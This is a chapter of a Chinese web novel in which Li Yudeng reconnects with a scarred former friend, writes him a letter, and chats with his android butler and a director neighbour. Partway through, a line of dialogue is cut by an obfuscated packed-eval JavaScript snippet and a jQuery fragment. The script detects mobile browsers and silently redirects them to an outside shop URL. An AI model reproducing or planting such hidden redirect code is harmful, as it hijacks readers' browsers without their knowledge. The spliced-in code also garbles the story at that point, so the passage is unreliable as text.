文趣网 > 都市小说 > 李玉灯 > 7. 朋友局
    什么啊?

    只加弟弟,不加哥哥吗。

    伊莱看向弟弟的脸。

    虽然他们两个长得几乎一模一样,连头发长短、身高体型都差不多,但是性格上的区别却非常大,一般来说,更容易博得好感的不是伊莱这种类型的才对。

    被讨厌了啊。

    伊莱叹了口气。

    “嗡——”

    艾萨克的终端震动了一声,他打开消息页面,看到李玉灯的消息。

    [对方已通过您的好友申请]

    【灯:沈绪青不舒服的话要记得和我说。】

    【艾萨克:你加我就为了问这个?】

    【灯:是的,有一点不放心。】

    【艾萨克:……。】

    艾萨克握着终端,看着这些话,心情莫名不爽,“要不要这么在意啊。”

    沈绪青那小子,有哪里好的?

    他还两面派,在你面前当鹌鹑,在外面当老鹰。但凡别人敢看一眼他妈妈,就要啄瞎别人眼睛,不知道的,还以为是把妈妈当老婆看了,艾萨克皱了皱眉。

    该不会是有恋母癖吧。

    恶心死了。

    【艾萨克:好吧,既然你诚心诚意地邀请我,okok】

    【艾萨克:有什么报酬吗?】

    他翘着二郎腿,等待沈绪青的妈妈……嗯,他的妈妈叫什么?他说过吗?

    【艾萨克:这样,把你的名字告诉我,我就答应你吧。】

    【灯:好啊。】

    李,玉,灯。

    还挺好听的…

    艾萨克这边聊得热火朝天,一会儿皱眉钻研,一会儿冷笑,伊莱坐在一边,觉得自己像是个局外人。

    他看了看终端,再次给李玉灯发去申请验证的消息。

    ……

    上午,李玉灯让管家开车,带他去医院看了小狗。

    因为进入了宠物专用的医疗舱,它的恢复状态非常不错,今天都能更有劲儿地摇尾巴了。看到李玉灯来,就一个劲儿地用他的白狗头来蹭李玉灯的手。

    李玉灯:“来,握手。”

    白狗把爪子搭在他的手心,李玉灯笑道,“嗯嗯,真乖。”

    看起来像是被人饲养过的,可能是走丢了,也可能是被遗弃了。

    医生给他拍了个片子,对李玉灯说,“大概还有一星期就可以自由活动了。”

    “太好了。”李玉灯松了口气。

    医生又说,“你养过狗吗?”

    李玉灯:“啊,有朋友曾经寄养在我这里算吗?遛狗摸狗什么的,我还挺擅长的。”

    医生,“这样啊,那我就不担心了。”

    李玉灯笑了笑,回过头双手捧着狗头搓了搓它的耳朵。这狗很大只,脑袋也好重,可能是知道李玉灯救了它,对他表现出浓浓的依赖和喜爱。

    李玉灯也低头亲了亲他粗糙的毛,“要早点好起来。”

    大白狗喉咙里发出呜呜的叫声回应他。

    在医院搓了一会儿小狗确认情况后,李玉灯就背着包离开。

    今天的行程是去见朋友。

    他有很多朋友。爱八卦的朋友,非常懒的朋友,喜欢躺在他腿上睡觉的朋友,非常高大的朋友,爱胡吃海塞的朋友…

    李玉灯今天决定去见见,已经走散很久的朋友。

    陆无檐。

    他曾经是李玉灯初高中的好朋友,却在高中二年级的时候忽然转学,连一个字都没有给李玉灯留下。

    如果说以前,李玉灯在和他置气的话,再后来,李玉灯已经把他遗忘了。

    他的记性总是不那么好的。

    如果不是决定去拜访自己的朋友们,他或许都不会想起他。

    下午一点,秋季的太阳也有些热起来了,李玉灯抵达朋友的家。

    他往后退了几步,抬起头看看前面的路标,确定自己没有找错,就按下了门口的门铃。

    “叮——”

    门铃才刚刚响了一声,面前的被虫子腐蚀得到处是洞的木门就倏然被拉开,露出里面青年一张有些苍白的脸。

    他眉眼清逸,脸上却有一道丑陋至极的长疤,歪歪扭扭如同蜈蚣般扭曲盘踞在他的脸上。

    站在门外的李玉灯看着他的脸有些怔愣。

    这是……?

    陆无檐让开路,他让李玉灯走右边,让那道疤痕隐没在左脸上,他说:“没想到你真的会来。”

    李玉灯走在他身边,没有说话。

    陆无檐沙哑着说,“从我转学开始,你就没有给我发过消息,直到昨天。”

    李玉灯:“是啊,但我没有给你发消息,你竟然也没有给我发呢。”

    陆无檐道,“因为我想知道如果我真的消失了,你会说什么,会问什么,毕竟我们起码是朋友……而且,还是很好的朋友。”

    “你好奇怪呀。”李玉灯温柔地微笑,一双绿色的眼睛情绪淡淡,“你什么都不告诉我,就指望我能来体贴你吗?有些太自大了吧。”

    陆无檐不再说话。

    “虽然我觉得,我现在应该沉默,装作对你的变化一无所知,”李玉灯抿着唇,“但是,能问问你吗?”

    说不会体贴他,但还是体贴了一下吗。

    陆无檐想。

    他把朋友引到了茶室,让他坐下,自己则把烧开的水拿来给他沏茶,氤氲的热气蒸腾开,他余光隔着热茶的雾看向朋友有些模糊的表情。

    “一点小伤,别担心。”

    才不是小伤。

    那道疤痕从他的眉骨一路划到了下颌,真是惨烈至极。

    李玉灯绿眸微微低垂。

    他不应该再问下去了,这是对他人自尊的创伤。

    陆无檐很在意这一点,否则他不会坐在阴影处,让厚重的阴翳附在他的眉骨切分了他的半张脸,看不出伤痕有多狰狞了。他在躲避李玉灯的视线。

    李玉灯低下头,手指轻轻扶在滚烫的茶杯上。

    陆无檐看到了他的婚戒,“过得还好吗?”

    钻戒的光亮经过光亮的折射,闪出无数道璀璨的碎片般彩虹的光,映在茶杯的外壁,映在李玉灯垂眸的脸上。

    “很好。”李玉灯手肘支在桌面上撑着脸,轻声说。

    陆无檐是他的朋友之一,不是唯一。

    他们以前感情很好,无话不谈,李玉灯对他说自己的烦恼,陆无檐有求必应,相对同龄人来说,他们都很早熟。陆无檐会玩一手魔术,李玉灯从他这里学了不少,有时候还会拿出来哄小孩。

    李玉灯想过他消失不见的可能,也许是去了另一个城市交了新的朋友,也许是生病了在住院。

    如果是这些情况,他会开心很多。

    但偏偏,让他看到这样的朋友。

    “这是谁干的?”李玉灯问他,“这是你以前不来见我的原因吗?”

    沉默。

    凝滞的沉默。

    “一定要知道吗?现在这些事情对你来说、我对你来说,已经和陌生人没有什么差别了。对吗?”陆无檐说,“为什么要给自己徒添烦恼呢,玉灯。”

    窗外是植物和花卉,淅淅沥沥的流水侵扰着耳膜,他选了一个最好的地方做茶室来招待李玉灯。

    茶桌的造型是一块巨大的树桩截面,李玉灯站起身来,绕过这个巨大的树桩,走到另一边,站在陆无檐的面前。

    陆无檐下意识把脸别过去,“别这么看我。”

    没有得到回应。

    一只温热的手轻轻扶着他的脸,慢慢地转回来。他和一双低垂的眼眸相对,信息素交织着,而李玉灯的信息素之中,还能嗅到另一个不存在这里的信息素,是他的丈夫。

    “你觉得我在烦恼吗?”李玉灯柔柔地笑起来,“我是在生气呀。”

    “亏我以为,我们还是朋友。”

    他的指腹一抵,让陆无檐把自己的伤口暴露在他的眼前。

    那双温情款款的绿眼睛垂在睫毛下,注视他早已愈合的伤口,长发如蛇般在他俯身时游动着,“你认为我是一个看脸交朋友的人吗?你认为我浅薄吗?你这样想,反而让我觉得比你不告而别时更失望呢。”

    残缺的半张脸完全暴露在曾经的好友面前,可怖的瘢痕像是纹刻在他皮肤上的树枝。当他意识到这一点、当他意识到李玉灯在看着他,一种可怕的窒息感就瞬间侵蚀了他。

    陆无檐坐在竹椅上,手搭在扶手上慢慢收紧,后背几乎被汗水润湿了,耳根一片酥.麻,“不对,我没有这么想过……这只是因为我自己……”

    话音未落,微凉的长发从李玉灯的肩膀流动下来,从他的侧脸轻轻滑过。

    他的双手捧住他的脸,馥郁又甘甜的味道愈发靠近。

    陆无檐睁大了眼睛。

    李玉灯轻轻吻了一下他的脸,这个轻柔的、圣洁的吻眷顾了有伤痕的那一边。

    陆无檐紧抓着竹椅的扶手,几乎快要颤栗起来。

    他再怎么都不会想到的,他和好友再见面竟然会是这样的情况。

    他以为……最好的情况是不被怪罪。

    “是不是很疼。”他说话时的热气也轻轻扫在脸上,淡淡的忧伤在他的吻中流露着,“为什么不跟我说呢?是我不关心你,不爱你,不在意你吗?”

    陆无檐的心脏都在皱缩着,瞳孔缩小,茶褐色的眼睛在震颤,电流从脊椎往上窜,爬满他的全身。

    不对……

    陆无檐找回理智,很想抬起手擦擦脸,来减轻那种可怕的悸动,语气还有些轻微的颤抖:“我是alpha,你应该和我保持距离的。”

    李玉灯直起身,一头靓丽的黑长发垂到腰间,睫毛低垂,唇线投下的暗影里隐匿着一点小小的痣,“不只是alpha,也是我的朋友,对我来说,重要的不是距离。”

    他靠在背后的茶桌上,“我了解了你远离我的原因,所以我在告诉你,这些我都不在意,一个人的外貌如果真的有这么重要,我要如何看到他们的心?何况,我并不觉得这样的疤痕丑陋。”

    陆无檐看向他,“真的吗?”

    “当然。”李玉灯轻飘飘的目光望着他,带着温和的笑轻声说:“哎,真是的,在这些地方真是认真呢,难道我就不重要吗?”

    他的话音总是柔和的音调,但声音也实在太过好听,令人头皮发麻。

    “对不起。”

    陆无檐低下头,“就是因为……你实在太重要了,所以我才没有办法接受你哪怕一秒异样的目光。”

    李玉灯看着他,听他说下去。

    “你应该记得,我的邻居是一个精神病小孩。他的父母常年工作,偶尔我们会给他带一些食物,你还记得吗?”

    “记得。所以,就是他吗?”

    陆无檐的手越攥越紧,“是啊,那对我来说只是普通的一天,我对他没有任何防备。”

    李玉灯道:“后来呢?”

    陆无檐,“刑事诉讼。”他说到这里,抬起头看了看李玉灯的脸色。

    李玉灯淡淡道:“干什么啦,虽然我确实很喜欢小孩子,但是你不会以为我会对一个伤害到我朋友的孩子也笑眯眯地对待,甚至为了他而谴责你吧?”

    陆无檐,“我没有这么想。”

    “看起来,如果不是我给你发消息,你一辈子都不会愿意主动见我了。”

    “……是的。”陆无檐说,“我不想让这样的一张脸出现在你的面前,墨镜和口罩都无法完全遮盖这样的伤口,我不喜欢出门,我的生活没有什么值得分享的。”

    不舍,不舍,不舍。

    李玉灯当时在干什么,他有想念他吗?

    渴望着被李玉灯关心,又因为容貌上的裂痕踟蹰不已;想要靠近他,却会自作主张地想他礼貌又厌恶的目光而近乡情怯。

    李玉灯道,“没关系,我不会介意的。”

    陆无檐缓慢地抬起头。

    郁郁葱葱的窗外投射了灿烂的阳光,李玉灯轻轻合眼,享受着阳光,又睁开眼睛道,“其实以前也有些介意,但是没关系,我原谅你,因为你是独一无二的朋友。”

    陆无檐沉默。

    无论做什么都能原谅吗?

    这么久没有联系,还愿意给他一个吻吗?

    他眉眼都低着,心脏仿佛被揪紧了,那种来自心的愧疚和痛苦盘踞不下。

    长疤仿佛是他流淌出的泪痕。李玉灯的态度越好,他越受到折磨。感到自卑,仰望,愤怒。

    在沉默之中,李玉灯从随身的背包里取出一个礼物盒,还有一封信。

    “带给你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830916|211326||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的礼物,”李玉灯笑笑,“很高兴见到你。我要走了,你还有什么想对我说吗?”

    陆无檐看着他,也跟着站起身,胸口剧烈起伏了一下。颤抖的手握住李玉灯的手腕贴在脸上,alpha情绪波动时信息素也不稳定地翻涌着,是一股很淡的海风的味道。

    “对不起,我不应该因为我的缺点就逃避现实不去见你。”

    李玉灯注视着他,摇头温声道:“你今天的道歉太多了,收一些回去吧。如果你想逃避,就可以逃避,比我重要的是你自己啊。对吗?”

    陆无檐一时间不知道要说什么,脑海中的回忆轰隆隆地作响。

    仿佛沉重的石头,也仿佛毛茸茸的棉絮,堵塞他的喉咙鼻腔,让呼吸变得很困难。

    李玉灯往前一步,皮鞋跟轻轻敲在地上,“这样不自信的样子好可怜。”

    他敞开怀抱,眼中的平静柔情里一定带有可以令人融化的魔药吧,“来吧,要抱抱吗?”

    陆无檐用力地搂住他的腰和背,单薄的体型、温热的体温,那源源不断宛如水流般的温柔,待在他的怀抱里,像是回到了只属于自己的港湾。

    “谢谢。”

    陆无檐轻声说。

    李玉灯松开他,“我该走了,下午还有点事。别送我了,再见。”

    虽然他这么说,但陆无檐还是送了一段路。

    直到李玉灯走后,他才回到茶室,在椅子上枯坐许久,伸手摸到脸上,又拿起了桌上的信封。

    【致曾经的挚友:

    真是有好一段时间没有写过信了,忘了一些字要怎么写,所以对你说的话,我在脑海中先想了一遍。

    之所以我会用“曾经”,想来你也清楚。我们曾经无话不谈,到后来形同陌路,你是一个背叛友谊的胆小鬼。不知道你有没有记起,我们还曾经谈论过以后如果分化成beta,就孤独终老住在一起的事情。

    你不愿意给我讯息,于是我也不会给你发的。我在生你的气。无论你说了什么理由,我都坚决不会原谅你。你应该知道,像我这样脾气很好的人发怒是一件可怕的事情吧?

    希望我不要看到你时心软,但好像有一点难,因为,我现在依然认为我们过去的友情珍贵无比。

    好,无聊的叙旧到此为止。是时候直面真相了,给我一个合理的解释吧,给我一个原谅你的理由吧,我的朋友。

    接下来我或许要去远行,所以向你告别。

    曾爱你的,

    灯】

    陆无檐定定地看着这封信,于是一遍又一遍。

    ……

    李玉灯回到车里时,管家已经等候了许久,它道,“我在想,您是否遇到了什么麻烦。”

    车辆启动,引擎只发出了细微的声响。

    “抱歉,久等了,我只是在和我的朋友叙旧。”

    塞缪尔平静道:“好的。”

    他说完这句话,又说,“您为什么总是在向我道谢,或者道歉?我只是一个机械产物,遵循您的命令是我的使命。”

    李玉灯看向他:“你是在对我提问吗?”

    塞缪尔说:“我可以这么做吗?”

    “当然可以,我很乐意为你解答。”李玉灯把副驾驶的安全带拉上,道,“大概是习惯吧,别在意。薄听今天来过了吗?”

    虽然塞缪尔随他出门,但是房屋内的各种智能设备都是由塞缪尔接入的,他道,“没有,但是我看到您的邻居以撒在门口徘徊了几次。”

    “以撒吗?”李玉灯问他,“你认为,以撒为什么在接近我们?”

    “这个问题难倒我了,主人。我想是因为爱吧。”

    “这是一个狡猾的回答呀,塞缪尔,”李玉灯微笑着,“有谁没有爱呢,我爱我的朋友们,爱我的孩子和丈夫,我也爱你。以爱来做回答,太模糊了。”

    “向您致歉,我会重新思考的, ”塞缪尔沉默了许久,“那么,人类对社交的需求是否可以作为理由?”

    “当然可以,”李玉灯,“我看过他所有的电影,而他俨然把我当成忠实粉丝,把我和他的社交看得很重要,也许是因为他觉得,我是一个懂他的人。”

    “我明白了。他唯有在您的身边才感到有价值。”

    “你讲话真是犀利。但我并不这样觉得。用价值来形容情谊,会显得有些冰冷吧,我们换一个说法吧:他希望和我做朋友。”

    “好的。”塞缪尔平稳的声线做了调整,“他希望和您做朋友,那么您呢?”

    后视镜里,李玉灯的眉弯了弯,“我会很开心。”

    已经下午了,蓝天白云和炙热的太阳,一路上的银杏叶纷飞着,被地表的清洁系统吸入后舱,一路上都没有见到什么落叶。

    五点钟,李玉灯到家。

    邻居正在浇花,李玉灯礼貌性地和他打了个招呼,“下午好,以撒。”

    以撒邀请他,“下午好,玉灯。要不要来我家坐坐?今天我做了蛋糕。”

    李玉灯想了想,“嗯,那就谢谢啦。”

    虽然塞缪尔已经是非常完美的管家,现在的厨房机也五花八门功能齐全,也可以做出不错的甜食,不过甜食和高油高糖食物还是少吃为好,李玉灯一向很关注自己的身体状况,不健康的东西不会吃太多。

    但是,既然是以撒邀请他,那么稍微品尝一下也没有关系的。

    以撒的屋子就伫立在他家的隔壁,间隔的直线距离大概有四十米左右。

    李玉灯走近大门,以撒伸手把他邀进去,灰色的眼睛看着他,“原本我已经想好,如果您拒绝我的话,我该做点什么。”

    “难道我答应得太快了?”李玉灯抬眼看着他,“那您可以尽管说说看。”

    以撒低着头,一张冷峻的脸上带笑,“我能为自己保留一些神秘感吗?”

    李玉灯:“对我来说,您已经足够神秘了。”

    以撒却说,“对我来说,您也是这样的。”

    以撒是第一次和粉丝走得这么近,如果用偶像圈子的专业术语的话,这应该叫做“私联”,是一种会被大家唾弃的行为。

    但他只是一个导演,和他有什么关系。

    “请进,小心脚下。”以撒低声说,“需要我扶一下您吗?”

    “不用了,谢谢。”